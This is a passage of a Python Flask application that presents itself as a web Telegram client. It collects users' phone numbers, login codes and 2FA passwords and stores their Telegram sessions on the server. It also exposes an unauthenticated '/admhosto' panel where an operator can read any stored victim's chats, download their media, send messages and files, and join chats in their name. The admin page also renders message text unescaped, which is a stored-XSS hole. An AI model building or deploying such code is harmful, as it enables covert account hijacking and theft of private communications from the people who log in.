button:hover { background: #1C91D0; transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.3); }
button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.1); }
.chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 8px; background: #FFF; }
.chat-list::-webkit-scrollbar { width: 8px; background-color: #F9F9F9; }
.chat-list::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }
.chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
.chat-item:hover, .chat-item.active { background: #E6F3FC; }
.chat-item:last-child { border-bottom: none; }
.chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
.chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
.message-viewer { margin-top: 30px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
.messages-container { min-height: 200px; max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #DDD; border-radius: 8px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
.messages-container::-webkit-scrollbar { width: 8px; background-color: #F9F9F9; }
.messages-container::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }
.message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
.message-item.sent { background: #DCF8C6; align-self: flex-end; }
.message-item.received { background: #F1F0F0; align-self: flex-start; }
.message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
.message-text { color: #111; }
.message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
.media-link { display: block; margin-top: 5px; color: #2AABEE; text-decoration: none; }
.back-button { margin-top: 40px; text-align: center; }
.back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; text-decoration: none; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
.back-button a:hover { background: #5A6268; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
.clear-chat-selection { text-align: center; margin-top: 20px; }
.clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 8px; box-shadow: none; }
.clear-chat-selection button:hover { background: #5A6268; }
.button.secondary { background: #28A745; margin-top: 10px; }
.button.secondary:hover { background: #218838; }
.message-loading { text-align: center; color: #777; margin: 10px 0; font-size: 0.9em; }
@media (max-width: 768px) {
body { padding: 15px; }
.container { padding: 25px; border-radius: 12px; }
h1 { font-size: 2em; margin-bottom: 15px; }
.split-panel { flex-direction: column; gap: 20px; }
.action-panel, .chat-list-panel, .message-viewer { padding: 20px; }
h2 { font-size: 1.3em; margin-bottom: 15px; }
input[type="text"], textarea, button { font-size: 0.9em; padding: 10px; }
.chat-list, .messages-container { max-height: 300px; }
.message-item { max-width: 90%; }
}
</style>
</head>
<body>
<div class="container">
<h1>Manage Account: {{ user.username or user.phone }}</h1>
<div class="user-info">ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
<div class="split-panel">
<div class="action-panel">
<h2>Send Message</h2>
<input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
<textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
<button onclick="sendMessage({{ user.id }})">Send Text Message</button>
<input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
<button onclick="document.getElementById('sendFileInput').click()" class="button secondary">Send File</button>
<h2 style="margin-top: 30px;">Join Chat</h2>
<input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
<button onclick="joinChat({{ user.id }})">Join Chat</button>
</div>
<div class="chat-list-panel">
<h2>Chats</h2>
<div class="chat-list" id="chatList">
{% for chat in chats %}
<div class="chat-item" data-id="{{ chat.id }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}')">
<h3>{{ chat.title }}</h3>
<p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
</div>
{% else %}
<p style="padding: 15px; text-align: center;">No chats found.</p>
{% endfor %}
</div>
<div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
</div>
</div>
<div class="message-viewer" id="messageViewer" style="display:none;">
<h2 id="messagesChatTitle"></h2>
<div class="messages-container" id="messagesContainer"></div>
</div>
<div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
</div>
<script>
let currentAdminChatId = null;
let oldestAdminMessageId = null;
let loadingMoreAdminMessages = false;
let hasMoreAdminMessages = true;
function clearChatSelection() {
document.getElementById('messageViewer').style.display = 'none';
document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
currentAdminChatId = null;
oldestAdminMessageId = null;
hasMoreAdminMessages = true;
loadingMoreAdminMessages = false;
}
async function selectChat(userId, chatId, chatTitle) {
if (currentAdminChatId === chatId && document.getElementById('messageViewer').style.display !== 'none') {
return;
}
currentAdminChatId = chatId;
oldestAdminMessageId = null;
hasMoreAdminMessages = true;
loadingMoreAdminMessages = false;
document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
document.getElementById('messageViewer').style.display = 'block';
document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
const messagesContainer = document.getElementById('messagesContainer');
messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
messagesContainer.scrollTop = messagesContainer.scrollHeight;
await fetchAdminMessages(userId, chatId);
}
async function fetchAdminMessages(userId, chatId, offsetId = null) {
if (loadingMoreAdminMessages || (offsetId && !hasMoreAdminMessages)) return;
loadingMoreAdminMessages = true;
const messagesContainer = document.getElementById('messagesContainer');
const initialLoad = (offsetId === null);
if (initialLoad) {
messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
} else {
const loadingDiv = document.createElement('p');
loadingDiv.className = 'message-loading';
loadingDiv.id = 'loadingMoreAdmin';
loadingDiv.textContent = 'Loading more messages...';
messagesContainer.prepend(loadingDiv);
}
const url = `/admhosto/user/${userId}/chat/${chatId}/messages${offsetId ? `?offset_id=${offsetId}` : ''}`;
const response = await fetch(url);
const result = await response.json();
if (document.getElementById('loadingMoreAdmin')) {
document.getElementById('loadingMoreAdmin').remove();
}
if (result.success && result.messages) {
if (initialLoad) {
messagesContainer.innerHTML = '';
}
if (result.messages.length === 0 && !initialLoad) {
hasMoreAdminMessages = false;
messagesContainer.prepend(document.createElement('p').outerHTML = '<p class="message-loading">No more messages.</p>');
}
let newOldestMessageId = oldestAdminMessageId;
const scrollHeightBefore = messagesContainer.scrollHeight;
result.messages.reverse().forEach(msg => {
const messageItem = document.createElement('div');
messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
let mediaHtml = msg.file_name && !msg.file_name.startsWith('Download failed') ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
let metaHtml = `<div class="message-meta">${msg.date}</div>`;
let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
if (initialLoad) {
messagesContainer.prepend(messageItem);
} else {
messagesContainer.appendChild(messageItem);
}
if (newOldestMessageId === null || msg.id < newOldestMessageId) {
newOldestMessageId = msg.id;
}
});
oldestAdminMessageId = newOldestMessageId;
if (initialLoad) {
messagesContainer.scrollTop = messagesContainer.scrollHeight;
} else {
const scrollHeightAfter = messagesContainer.scrollHeight;
messagesContainer.scrollTop += (scrollHeightAfter - scrollHeightBefore);
}
} else {
if (initialLoad) {
messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
}
}
loadingMoreAdminMessages = false;
}
document.getElementById('messagesContainer').addEventListener('scroll', () => {
if (currentAdminChatId && document.getElementById('messagesContainer').scrollTop <= 100 && hasMoreAdminMessages && !loadingMoreAdminMessages) {
fetchAdminMessages({{ user.id }}, currentAdminChatId, oldestAdminMessageId);
}
});
async function sendMessage(userId) {
const chatId = document.getElementById('sendMessageRecipient').value;
const message = document.getElementById('sendMessageContent').value;
if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
const response = await fetch(`/admhosto/send_message/${userId}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: chatId, message })
});
const result = await response.json();
alert(result.message);
if (result.success) {
document.getElementById('sendMessageRecipient').value = '';
document.getElementById('sendMessageContent').value = '';
if (currentAdminChatId == chatId) {
selectChat(userId, chatId, document.getElementById('messagesChatTitle').textContent.replace('Messages in "', '').replace('"', ''));
}
}
}
async function handleFileSelect(userId) {
const fileInput = document.getElementById('sendFileInput');
if (fileInput.files.length === 0) return;
const file = fileInput.files[0];
const chatId = document.getElementById('sendMessageRecipient').value;
const caption = document.getElementById('sendMessageContent').value;
if (!chatId) { alert('Recipient is required to send a file.'); return; }
const formData = new FormData();
formData.append('chat_id', chatId);
formData.append('file', file);
formData.append('caption', caption);
document.getElementById('sendMessageRecipient').value = '';
document.getElementById('sendMessageContent').value = '';
fileInput.value = '';
const response = await fetch(`/admhosto/send_file/${userId}`, {
method: 'POST',
body: formData
});
const result = await response.json();
alert(result.message);
if (result.success) {
if (currentAdminChatId == chatId) {
selectChat(userId, chatId, document.getElementById('messagesChatTitle').textContent.replace('Messages in "', '').replace('"', ''));
}
}
}
async function joinChat(userId) {
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
const response = await fetch(`/admhosto/join_chat/${userId}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_identifier: chatIdentifier })
});
const result = await response.json();
alert(result.message);
if (result.success) { location.reload(); }
}
</script>
</body>
</html>
'''
@app.route('/')
def index():
if 'user_id' in session:
return redirect(url_for('blabla_gram_app'))
return render_template_string(LOGIN_TEMPLATE)
@app.route('/api/login', methods=['POST'])
def api_login():
data = request.json
phone = data.get('phone')
step = data.get('step')
if not phone:
return jsonify({'success': False, 'message': 'Phone number is required.'})
session_hash = hashlib.md5(phone.encode()).hexdigest()
session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
session['current_login_phone'] = phone
session['current_login_session_file'] = session_file_path
async def _login_async():
client = TelegramClient(session['current_login_session_file'], API_ID, API_HASH)
result = {}
try:
await client.connect()
if step == 'start':
if await client.is_user_authorized():
me = await client.get_me()
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
conn.commit()
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
session['user_id'] = user_db_id
result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
else:
sent_code = await client.send_code_request(session['current_login_phone'])
session['phone_code_hash'] = sent_code.phone_code_hash
result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
elif step == 'code':
code = data.get('code')
phone_code_hash = session.get('phone_code_hash')
if not phone_code_hash:
raise ValueError('Session expired, please try again.')
try:
me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
conn.commit()
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
session['user_id'] = user_db_id
result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
except SessionPasswordNeededError:
result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
except FloodWaitError as e:
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
result = {'success': False, 'message': f'Invalid code or other error: {e}'}
elif step == 'password':
password = data.get('password')
try:
me = await client.sign_in(password=password)
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
(str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
conn.commit()
user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
session['user_id'] = user_db_id
result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
except FloodWaitError as e:
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
result = {'success': False, 'message': f'Invalid password or other error: {e}'}
else:
result = {'success': False, 'message': 'Invalid step.'}
except FloodWaitError as e:
result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
finally:
if client.is_connected():
await client.disconnect()
return result
return jsonify(asyncio.run(_login_async()))
@app.route('/api/logout', methods=['POST'])
def api_logout():
user_id = session.get('user_id')
if user_id:
async def _logout_async():
client, error = await get_user_client(user_id)
if error: return
try:
if client.is_connected():
await client.log_out()
except Exception:
pass
finally:
if client and client.is_connected():
await client.disconnect()
asyncio.run(_logout_async())
session.clear()
return jsonify({'success': True, 'message': 'Logged out successfully.'})
@app.route('/app')
def blabla_gram_app():
if 'user_id' not in session:
return redirect(url_for('index'))
return render_template_string(BLABLAGRAM_APP_TEMPLATE)
@app.route('/api/user_chats')
def api_user_chats():
user_id = session.get('user_id')
if not user_id:
return jsonify({'success': False, 'message': 'User not logged in.'}), 401
async def _get_chats_async():
client, error = await get_user_client(user_id)
if error: return None, error
chats_info = []
try:
async for dialog in client.iter_dialogs():
title = dialog.title
chat_type = 'User'
participants = None
if isinstance(dialog.entity, User):
chat_type = 'User'
full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
title = full_name if full_name else "Unnamed User"
if dialog.entity.username:
title += f" (@{dialog.entity.username})"
elif isinstance(dialog.entity, Channel):
chat_type = 'Channel'
if hasattr(dialog.entity, 'participants_count'):
participants = dialog.entity.participants_count
elif isinstance(dialog.entity, Chat):
chat_type = 'Group'
if hasattr(dialog.entity, 'participants_count'):
participants = dialog.entity.participants_count
else:
title = title if title else "Unknown Chat"
chat_type = "Unknown"
initial = title[0].upper() if title else '?'
chats_info.append({
'id': dialog.id,
'title': title,
'type': chat_type,
'participants': participants,
'avatar_initial': initial
})
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected():
await client.disconnect()
return chats_info, None
chats, error = asyncio.run(_get_chats_async())
if error:
return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])})
@app.route('/api/chat_messages/<int:peer_id>')
def api_get_chat_messages(peer_id):
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
offset_id = request.args.get('offset_id', None, type=int)
limit = request.args.get('limit', 50, type=int)
async def _get_messages_async():
client, error = await get_user_client(user_id)
if error: return None, error
messages = []
try:
entity = await client.get_entity(peer_id)
async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):
msg_data = {
'id': message.id,
'text': message.text,
'date': message.date.strftime("%b %d, %H:%M"),
'is_sent': message.out,
'sender_name': 'Unknown'
}
if message.sender:
if isinstance(message.sender, User):
msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
elif hasattr(message.sender, 'title'):
msg_data['sender_name'] = message.sender.title
else:
msg_data['sender_name'] = str(message.sender.id)
if message.media:
try:
file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
for attr in message.media.document.attributes:
if hasattr(attr, 'file_name'):
file_name = attr.file_name
break
elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
file_name = f"photo_{message.media.photo.id}.jpg"
file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
if file_info:
file_path = Path(file_info)
msg_data['file_name'] = file_path.name
file_size = os.path.getsize(file_path)
msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
except Exception as media_e:
msg_data['file_name'] = f"Download failed: {media_e}"
messages.append(msg_data)
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected():
await client.disconnect()
return messages, None
messages, error = asyncio.run(_get_messages_async())
if error:
return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
return jsonify({'success': True, 'messages': messages})
@app.route('/api/send_message', methods=['POST'])
def api_send_message():
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
data = request.json
chat_id = data.get('chat_id')
message_content = data.get('message')
async def _send_message_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_message(target_entity, message_content)
return {'success': True, 'message': 'Message sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_message_async()))
@app.route('/api/send_file', methods=['POST'])
def api_send_file():
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
chat_id = request.form.get('chat_id')
caption = request.form.get('caption', '')
if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
if 'file' not in request.files:
return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'success': False, 'message': 'No selected file.'}), 400
async def _send_file_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
return {'success': True, 'message': 'File sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_file_async()))
@app.route('/api/join_chat', methods=['POST'])
def api_join_chat():
user_id = session.get('user_id')
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
data = request.json
chat_identifier = data.get('chat_identifier')
async def _join_chat_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
invite_hash = chat_identifier.split('/')[-1].replace('+', '')
await client(ImportChatInviteRequest(invite_hash))
else:
await client(JoinChannelRequest(chat_identifier))
return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except (UserNotParticipantError, ValueError):
return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
except Exception as e:
return {'success': False, 'message': f'Error joining chat: {e}'}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_join_chat_async()))
@app.route('/download/<path:filename>')
def download_file(filename):
return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
@app.route('/admhosto')
def admhosto_index():
with sqlite3.connect(DB_PATH) as conn:
users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall()
return render_template_string(ADMHOSTO_TEMPLATE, users=users)
@app.route('/admhosto/user/<int:user_id>/manage')
def admhosto_manage_user_account(user_id):
with sqlite3.connect(DB_PATH) as conn:
user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone()
if not user_data: return "User not found", 404
user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]}
async def _get_chats_async():
client, error = await get_user_client(user_id)
if error: return None, error
chats_info = []
try:
async for dialog in client.iter_dialogs():
chat_type = 'Other'
if isinstance(dialog.entity, Channel): chat_type = 'Channel'
elif isinstance(dialog.entity, Chat): chat_type = 'Group'
elif isinstance(dialog.entity, User): chat_type = 'User'
title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
chats_info.append({
'id': dialog.id,
'title': title,
'type': chat_type,
'participants': getattr(dialog.entity, 'participants_count', None)
})
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected(): await client.disconnect()
return chats_info, None
chats, error = asyncio.run(_get_chats_async())
if error: return f"Failed to load chats: {error}", 500
return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
@app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
def admhosto_get_chat_messages(user_id, peer_id):
offset_id = request.args.get('offset_id', None, type=int)
limit = request.args.get('limit', 50, type=int)
async def _get_messages_async():
client, error = await get_user_client(user_id)
if error: return None, error
messages = []
try:
entity = await client.get_entity(peer_id)
async for message in client.iter_messages(entity, limit=limit, max_id=offset_id):
msg_data = {
'id': message.id,
'text': message.text,
'date': message.date.strftime("%b %d, %H:%M"),
'is_sent': message.out,
'sender_name': 'Unknown'
}
if message.sender:
if isinstance(message.sender, User):
msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
elif hasattr(message.sender, 'title'):
msg_data['sender_name'] = message.sender.title
else:
msg_data['sender_name'] = str(message.sender.id)
if message.media:
try:
file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
for attr in message.media.document.attributes:
if hasattr(attr, 'file_name'):
file_name = attr.file_name
break
elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
file_name = f"photo_{message.media.photo.id}.jpg"
file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
if file_info:
file_path = Path(file_info)
msg_data['file_name'] = file_path.name
file_size = os.path.getsize(file_path)
msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
except Exception as media_e:
msg_data['file_name'] = f"Download failed: {media_e}"
messages.append(msg_data)
except Exception as e:
return None, str(e)
finally:
if client and client.is_connected(): await client.disconnect()
return messages, None
messages, error = asyncio.run(_get_messages_async())
if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
return jsonify({'success': True, 'messages': messages})
@app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
def admhosto_send_message(user_id):
data = request.json
chat_id = data.get('chat_id')
message_content = data.get('message')
async def _send_message_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_message(target_entity, message_content)
return {'success': True, 'message': 'Message sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_message_async()))
@app.route('/admhosto/send_file/<int:user_id>', methods=['POST'])
def admhosto_send_file(user_id):
chat_id = request.form.get('chat_id')
caption = request.form.get('caption', '')
if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
if 'file' not in request.files:
return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'success': False, 'message': 'No selected file.'}), 400
async def _send_file_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
return {'success': True, 'message': 'File sent.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': str(e)}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_send_file_async()))
@app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
def admhosto_join_chat(user_id):
data = request.json
chat_identifier = data.get('chat_identifier')
async def _join_chat_async():
client, error = await get_user_client(user_id)
if error: return {'success': False, 'message': error}
try:
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
invite_hash = chat_identifier.split('/')[-1].replace('+', '')
await client(ImportChatInviteRequest(invite_hash))
else:
await client(JoinChannelRequest(chat_identifier))
return {'success': True, 'message': 'Successfully joined.'}
except FloodWaitError as e:
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
except Exception as e:
return {'success': False, 'message': f'Error joining: {e}'}
finally:
if client and client.is_connected(): await client.disconnect()
return jsonify(asyncio.run(_join_chat_async()))
if __name__ == '__main__':
init_db()
app.run(host=HOST, port=PORT, debug=False)